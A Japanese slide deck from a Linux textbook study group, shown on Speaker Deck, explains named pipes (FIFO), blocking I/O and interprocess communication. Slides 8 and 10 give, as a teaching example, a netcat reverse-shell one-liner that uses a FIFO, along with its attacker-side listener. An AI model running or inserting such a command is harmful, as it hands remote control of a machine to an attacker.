$30 off During Our Annual Pro Sale. View Details »
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
名前付きパイプ FIFO
Search
Osumi, Yusuke
February 13, 2021
Technology
0
520
名前付きパイプ FIFO
「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/
Osumi, Yusuke
February 13, 2021
Tweet
Share
More Decks by Osumi, Yusuke
See All by Osumi, Yusuke
本の紹介の補足
ozuma
1
380
gitサービス3兄弟
ozuma
0
390
簡体字は楽
ozuma
0
450
ソフトウェアは固定資産
ozuma
0
420
ASCIIコードの小話
ozuma
0
430
今いるディレクトリを消すとどうなる
ozuma
1
370
文章、作文技法 リモートワーク
ozuma
1
890
CentOSの今後のリリース(簡易説明)
ozuma
0
390
AndroidでもLinux動いてるよ
ozuma
0
420
Other Decks in Technology
See All in Technology
100以上の新規コネクタ提供を可能にしたアーキテクチャ
ooyukioo
0
250
LayerX QA Night#1
koyaman2
0
250
Knowledge Work の AI Backend
kworkdev
PRO
0
200
AWSの新機能をフル活用した「re:Inventエージェント」開発秘話
minorun365
2
430
AI with TiDD
shiraji
1
270
アプリにAIを正しく組み込むための アーキテクチャ── 国産LLMの現実と実践
kohju
0
210
日本の AI 開発と世界の潮流 / GenAI Development in Japan
hariby
1
340
まだ間に合う! Agentic AI on AWSの現在地をやさしく一挙おさらい
minorun365
17
2.6k
NIKKEI Tech Talk #41: セキュア・バイ・デザインからクラウド管理を考える
sekido
PRO
0
200
フルカイテン株式会社 エンジニア向け採用資料
fullkaiten
0
9.9k
AIBuildersDay_track_A_iidaxs
iidaxs
4
1.2k
202512_AIoT.pdf
iotcomjpadmin
0
140
Featured
See All Featured
30 Presentation Tips
portentint
PRO
1
170
Building Experiences: Design Systems, User Experience, and Full Site Editing
marktimemedia
0
330
Build The Right Thing And Hit Your Dates
maggiecrowley
38
3k
Keith and Marios Guide to Fast Websites
keithpitt
413
23k
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
marktimemedia
31
2.6k
Highjacked: Video Game Concept Design
rkendrick25
PRO
0
250
10 Git Anti Patterns You Should be Aware of
lemiorhan
PRO
659
61k
Jess Joyce - The Pitfalls of Following Frameworks
techseoconnect
PRO
1
30
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
PRO
196
70k
Odyssey Design
rkendrick25
PRO
0
430
Designing Powerful Visuals for Engaging Learning
tmiket
0
190
brightonSEO & MeasureFest 2025 - Christian Goodrich - Winning strategies for Black Friday CRO & PPC
cargoodrich
2
65
Transcript
名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13
名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $
tail -f fifo (別のターミナルで) 読み込んで解放
名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo
"Hello" > fifo 今度は書き込むとブロックされない
名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1.
入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man
mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
6 $ cat sample.txt | sort $ cat sample.txt >
fifo $ sort < fifo 無名パイプ 名前付きパイプ
プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信
名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる
もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc <IP> <port> <
/tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る